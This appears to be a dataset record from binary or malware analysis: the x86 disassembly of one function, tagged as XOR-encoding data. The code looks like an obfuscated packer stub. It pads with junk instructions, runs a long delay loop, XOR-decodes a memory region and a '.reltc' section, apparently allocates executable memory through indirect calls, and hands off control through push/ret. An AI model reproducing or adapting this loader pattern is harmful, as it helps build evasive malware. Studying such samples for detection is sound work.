Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc5044d67
dec edi
add ebx, 0x267bac8d
and ebx, ebx
popal
mov ebx, edi
add edi, ebx
or ebx, edi
mov edx, 0
mov esi, eax
mov ecx, 0x853b7887
mov ecx, 0x38fb5117
and edi, ecx
mov ebx, esi
sub edi, ecx
dec ecx
sub edi, 1
mov eax, ebx
add ecx, ecx
or ecx, ecx
or edi, edi
inc edx
add edi, edi
inc edi
mov edi, ecx
cmp edx, 0x1008fc9
jne 0xa789c7
dec edi
sub edi, ecx
inc edi
sub edi, 0x146b957
add edi, 0xc02700ce
mov ecx, 0xa78796
dec edx
and edx, edx
mov eax, 0xa7898a
and esi, ebx
mov ebx, 0xcce342d2
mov edi, dword [ecx]
sub esi, 0x7760fc6
add ebx, esi
add esi, 0xf705bd7a
and edi, 0xff
sub esi, 1
sub esi, ebx
xor dword [eax], edi
sub ebx, 0x33b4b79e
sub ebx, edx
inc esi
inc eax
dec ebx
mov esi, ebx
inc ecx
dec esi
and esi, esi
cmp eax, entry0
jl 0xa78a1e
dec esi
sub esi, 1
mov esi, ebx
inc esi
not ebx
add esi, 0xee1d1cb0
add ebx, esi
add esi, ebx
mov edi, 0xa7898e
mov edx, 0xf9be04c7
sub ecx, 0xfd0d429f
dec ebx
mov edi, dword [edi]
or ecx, esi
mov edx, 0xc3d4972e
sub ebx, 0xb647435c
mov edi, dword [edi]
and edx, edx
add edx, ecx
push edi
mov ecx, edx
dec ebx
mov edx, 0x9c48a4f6
mov edi, 0xa7898a
and edx, ecx
add esi, 0x534073d5
mov edi, dword [edi]
not esi
and ebx, esi
not ecx
mov edi, dword [edi]
not edx
add esi, ecx
push 0xa78992
mov ecx, edx
and ebx, edx
or ecx, ecx
call edi
dec ebx
dec ebx
pop edi
mov ecx, esi
inc esi
sub ecx, 0x3376aa33
push 0xa7899f
mov ecx, 0xac8813f4
or esi, ecx
sub esp, 4
mov dword [esp], eax
and ebx, edx
mov edx, 0xcf83deca
sub esi, edx
call edi
add ecx, 0x1d75c683
or edx, edx
mov ebx, 0x9271793
push 0x40
not edx
add esi, 1
and ecx, ebx
sub esp, 4
mov dword [esp], 0x3000
and esi, ecx
or ebx, edx
add edx, 1
push 0x200006fc
dec ecx
sub ecx, 0xb410506c
mov ecx, edx
push 0
add ecx, ecx
add esi, 0xeccd7df2
sub edx, esi
call eax
add ecx, 0x78f3127a
add ebx, 0xef51907b
add eax, 0x20000655
or ebx, edx
mov ecx, 0x8830bf13
not ecx
mov edi, 0xaf5ea5e1
add ebx, ebx
mov ebx, ecx
or esi, ebx
mov dword [eax], edi
not esi
mov ebx, edx
inc edx
mov edi, dword [eax]
and esi, esi
add edx, 0x30b7f8e1
cmp edi, 0xaf5ea5e1
je 0xa78b86
mov edx, 0
mov dword [edx], ecx
mov edx, 0x33e9fef8
or ebx, ebx
add ebx, 0x58ab0a93
sub ebx, 0xf454c383
add esi, edx
sub ebx, edi
inc ebx
mov ecx, section..reltc
sub edi, 0x727472bd
or ebx, ebx
mov eax, 0xa78795
or edi, edi
add edi, 0x80ec8ff
mov esi, 0
add ebx, edi
sub edi, ebx
mov ebx, edi
mov edx, 0xa78796
inc ebx
or edi, edi
lea edx, [edx + esi]
add edi, ebx
sub ebx, 0xcf9f9faf
mov edx, dword [edx]
not edi
sub edi, 0xa68ebfc2
and edi, ebx
and edx, 0xff
not edi
mov edi, ebx
inc esi
inc edi
dec edi
cmp esi, 0x1f4
jne 0xa78bfc
mov esi, 0
inc edi
mov ebx, edi
mov edi, ebx
mov ebx, 0x89bc7950
mov ebx, edi
xor dword [ecx], edx
mov ebx, 0xad61fb56
not edi
or ebx, edi
add ecx, 2
mov edi, ebx
and ebx, edi
mov edi, ebx
cmp ecx, eax
jl 0xa78bc3
or ebx, edi
not ebx
sub edi, 0x6b6f86df
mov edi, ebx
not ebx
mov ecx, section..reltc
add esi, 0x9b60f2e3
add edi, esi
mov eax, section..reltc
add esi, esi
and esi, esi
mov edx, 0xa78795
sub edi, esi
not edi
not esi
mov ebx, 0
and edi, edi
mov edi, 0x1c201d8
mov bl, byte [eax]
add esi, esi
and esi, edi
mov byte [ecx], bl
dec edi
or esi, esi
inc ecx
not esi
add esi, 0xb5ac35d5
sub edi, 0x3ed89963
add eax, 2
sub edi, esi
inc esi
and edi, esi
cmp eax, edx
jle 0xa78c62
mov esi, edi
mov edi, esi
or edi, esi
sub ebx, 1
sub ebx, edi
sub esp, 4
mov dword [esp], 0x8dc6a0
add edi, 0x61707ad5
and edi, ebx
add ebx, 0x217f3403
ret